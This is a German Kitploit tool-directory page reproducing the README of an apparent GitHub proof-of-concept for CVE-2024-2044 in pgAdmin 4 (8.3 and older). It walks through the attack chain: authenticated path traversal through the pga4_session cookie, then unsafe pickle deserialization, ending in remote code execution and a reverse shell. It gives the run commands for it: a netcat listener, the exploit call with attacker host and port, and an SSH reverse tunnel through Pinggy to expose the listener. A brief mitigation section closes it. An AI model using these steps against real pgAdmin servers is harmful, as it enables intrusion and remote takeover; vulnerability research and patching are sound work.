Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-2044 — Python-PoC, das CVE-2024-2044 in pgAdmin 4 (<=8.3) über authentifizierten Path Traversal und unsichere Pickle-Deserialisierung ausnutzt, um Remote Code Execution und eine Reverse Shell zu erreichen. | Kitploit
Tools/GitHubGitHub/hanzzly/cve-2024-2044
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python-PoC, das CVE-2024-2044 in pgAdmin 4 (<=8.3) über authentifizierten Path Traversal und unsichere Pickle-Deserialisierung ausnutzt, um Remote Code Execution und eine Reverse Shell zu erreichen.

vor 19h 5mNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE (Linux/POSIX)

Dieses Repository enthält ein Proof of Concept-Skript (PoC) für CVE-2024-2044, eine kritische Schwachstelle, die Authenticated Path Traversal und Unsafe Deserialization in pgAdmin 4 (Version 8.3 und älter) in Linux/POSIX-Umgebungen kombiniert.

[!WARNING] DISCLAIMER: Dieser Code wurde ausschließlich zu Bildungszwecken, für Sicherheitsforschung und autorisierte Penetrationstests (authorized pentesting) erstellt. Die missbräuchliche Verwendung dieses Codes zum Angriff auf Ziele ohne schriftliche Genehmigung ist illegal und strafbar.


Beschreibung der Schwachstelle

Bei pgAdmin 4 im Servermodus unter Linux wird die Sitzungsverwaltung in Form lokaler Dateien gespeichert. Die Schwachstelle entsteht, weil die Funktion FileBackedSessionManager.get() den Wert des HTTP-Cookies pga4_session entgegennimmt und ihn mittels os.path.join an den Verzeichnispfad anhängt, ohne Zeichen zur Pfadmanipulation (../) zu bereinigen.

Das PoC-Skript nutzt diese Lücke mit folgendem Ablauf aus:

  1. Authentifizierung: Führt einen automatischen Login mit gültigen Anmeldedaten durch, um eine aktive Sitzung zu erhalten und den CSRF-Token zu umgehen.
  2. Payload-Upload: Nutzt das integrierte Storage Manager-Dienstprogramm, um ein bösartiges Python-pickle-Objekt hochzuladen, das einen Reverse Shell-Befehl enthält. Diese Datei wird im Benutzer-Speicherverzeichnis abgelegt (z. B.: /storage/benutzername/).
  3. Trigger Path Traversal: Sendet eine HTTP-Anfrage an /login zurück und manipuliert dabei das Cookie pga4_session zu einem relativen Pfad, der auf die hochgeladene pickle-Datei verweist (z. B.: ../storage/benutzername/datei.pickle!). Das Zeichen ! wird verwendet, um der Suche nach der Dateiendung der Sitzung in pgAdmin 4 zu entsprechen.
  4. Codeausführung (RCE): Der pgAdmin 4-Server wird dazu verleitet, die Datei zu lesen und sie mit pickle.loads() zu verarbeiten. Infolgedessen führt die Payload einen separaten (detached) Python-Prozess aus, der einen Reverse Shell zum Angreifer aufbaut.

Voraussetzungen (Prerequisites)

  • Ziel: pgAdmin 4 <= 8.3 (Server Mode) unter Linux/POSIX.
  • Zugriff: Erfordert ein gültiges Login-Konto (Benutzername & Passwort).
  • Skript-Abhängigkeiten: Python 3 und die Bibliothek requests.

Verwendungsanleitung

Option A: Verwendung einer direkten öffentlichen IP (Lokal/VPN)

  1. Öffnen Sie den netcat-Port auf Ihrem Rechner, um die Reverse Shell-Verbindung zu empfangen:
    root@kitploit:~
    nc -lvnp 4444
    
  2. Führen Sie das Exploit-Skript aus:
    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

Option B: Verwendung von Port Forwarding (Pinggy.io)

Wenn sich Ihr Rechner hinter einem NAT/Router befindet und ein öffentliches Tunnelling benötigt, können Sie den Dienst Pinggy.io mit folgenden Schritten verwenden:

1. Lokalen Netcat-Listener starten

Starten Sie zunächst nc auf dem lokalen Rechner mit einem Port Ihrer Wahl (z. B.: Port 1337):

root@kitploit:~
nc -lvnp 1337

2. Pinggy-Tunnel starten

Öffnen Sie ein neues Terminal und führen Sie den Pinggy-SSH-Befehl aus. Stellen Sie sicher, dass der lokale Port am Ende (1337) mit dem zuvor gestarteten nc-Port übereinstimmt:

root@kitploit:~
ssh -p 443 -R0:localhost:1337 [email protected]

Nach der Verbindung gibt Pinggy eine öffentliche TCP-URL aus, zum Beispiel: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

Hinweis: Der von Pinggy erhaltene öffentliche Port ist 43143 (dieser wird später zum -lport).

3. Die echte IP von Pinggy ermitteln (LHOST erhalten)

Der Ziel-pgAdmin 4-Server benötigt das Format einer echten IP-Adresse für die Reverse-Shell-Socket-Verbindung. Führen Sie ein nslookup auf die Domain Ihrer Pinggy-URL aus:

root@kitploit:~
nslookup ubylm-103-79-246-198.run.pinggy-free.link

Die Ausgabe zeigt die öffentliche IP des Pinggy-Servers an (wählen Sie die IPv4 im obersten Address-Abschnitt):

root@kitploit:~
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

Aus der obigen Ausgabe ergibt sich die echte Pinggy-IP: 172.236.148.125.

image

4. Exploit-Skript ausführen

Führen Sie das PoC-Skript aus, indem Sie die IP aus dem nslookup-Ergebnis als -lhost und den öffentlichen Pinggy-Port als -lport angeben:

root@kitploit:~
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image
image

Skript-Optionsparameter

  • -t, --target : Ziel-URL von pgAdmin 4 (Erforderlich).
  • -u, --username: Login-E-Mail/Benutzername (Standard: [email protected]).
  • -p, --password: Login-Passwort (Standard: player123).
  • -lhost : IP-Adresse des Angreifers / IP aus dem Pinggy-nslookup-Ergebnis (Erforderlich).
  • -lport : Listener-Port des Angreifers / Öffentlicher Pinggy-Port (Erforderlich).

Mitigation

Diese Schwachstelle wurde in pgAdmin 4 Version 8.4 behoben. Wenn Sie einen anfälligen Server verwalten, ergreifen Sie umgehend folgende Maßnahmen:

  1. Aktualisieren Sie pgAdmin 4 auf Version 8.4 oder neuer.
  2. Beschränken Sie den Netzwerkzugriff auf das pgAdmin 4-Panel mittels VPN oder Firewall Whitelist.
  3. Stellen Sie sicher, dass der pgAdmin 4-Prozess mit den Rechten eines normalen Benutzers (non-root) ausgeführt wird.
Tool herunterladen